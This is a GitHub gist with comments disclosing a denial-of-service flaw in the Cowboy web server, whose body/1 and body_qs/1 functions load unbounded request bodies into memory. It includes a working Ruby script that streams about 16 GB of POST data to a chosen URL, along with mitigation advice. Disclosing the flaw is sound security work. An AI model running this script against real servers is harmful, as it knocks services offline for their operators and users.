Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@josevalim
Last active December 14, 2015 02:29
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save josevalim/eea34c1c76056d2fdf4f to your computer and use it in GitHub Desktop.
Save josevalim/eea34c1c76056d2fdf4f to your computer and use it in GitHub Desktop.
DoS attack vulnerability in Cowboy when using body/1, body_qs/1

DoS attack vulnerability on Cowboy

There is a vulnerability in Cowboy that can make it load an arbitrary long binary into memory, causing the server to get unresponsive.

This works because the functions cowboy_req:body/1 and cowboy_req:body_qs/1 will load the whole request into memory without checking a limit.

Most servers implement a flag that limits the size of the request and abort after a certain limit is reached.

Attached is a script that reproduces the issue which can be used to attack any POST/PUT/DELETE endpoint. This attack is particularly dangerous because it can be done from a single machine with very little resources, by simply streaming one or more requests. The only limit on the speed of attack is the speed limit between client and server.

We were able to deploy the attack on servers successfully.

How to fix this issue

Unfortunately, Cowboy maintainers said this is not a security issue in Cowboy and that it won't be fixed (in fact, I was assured Cowboy is free of security issues, even though the definition of a bug includes something you could not foresee).

This gist is an attempt to make developers using Cowboy aware of the issue and patch it up accordingly. So my best advise is to stop using the faulty functions mentioned above and implement the parsing yourself by relying on cowboy_req:stream_body/1 function, making sure you abort after a certain limit is reached.

Why is this issue being disclosed publicly?

First, we have attempted to disclose this issue in private but it was said it won't be fixed. Second, Cowboy maintainers explicitly asked to release security vulnerabilities publicly, so we will be releasing a couple other vulnerabilities in the following days too.

require "net/http"
# We are going to upload 16M chunks of 1KB
CHUNK = "a" * 1024
TOTAL = 16_000_000
class Stream
def initialize
@total = TOTAL
end
def read(*)
unless @total < 0
@total = @total - 1
CHUNK
end
end
end
# Put your URL here
url = URI('http://localhost:8080/')
req = Net::HTTP::Post.new(url.path)
req.content_length = CHUNK.size * TOTAL
req.content_type = 'application/x-www-form-urlencoded'
req.body_stream = Stream.new
Net::HTTP.new(url.host, url.port).start { |http| http.request(req) }
@hukl
Copy link

hukl commented Feb 22, 2013

unfortunately that supports my impression of the attitude / code quality of cowboy … +1 for setting a default max body size and let users override it if necessary

@ferd
Copy link

ferd commented Feb 22, 2013

Note that you can stream the body of the request and impose limits yourself. Otherwise you need to be able to set a limit per-handler or you can't limit requests to 1MB here and 50MB there (where you have an upload module), for example.

@tsloughter
Copy link

I agree with Fred. You can already limit how much you read in and close the connection when it reaches that limit.

@josevalim
Copy link
Author

The point is that it is insecure by default. Ideally, you would have a handler wide limit and customize it when you call body/body_qs/multipart. This gives a secure by default API but allows endpoints to parse large chunk of data if needed.

cowboy_req:body is used in examples and publicly documented so many people end up using it unaware of the issue. The recommendation to check the size is only in the guides which in general are recent (and not a required reading before using cowboy).

@ferd
Copy link

ferd commented Feb 22, 2013

I can agree with that. It should be safe by default.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment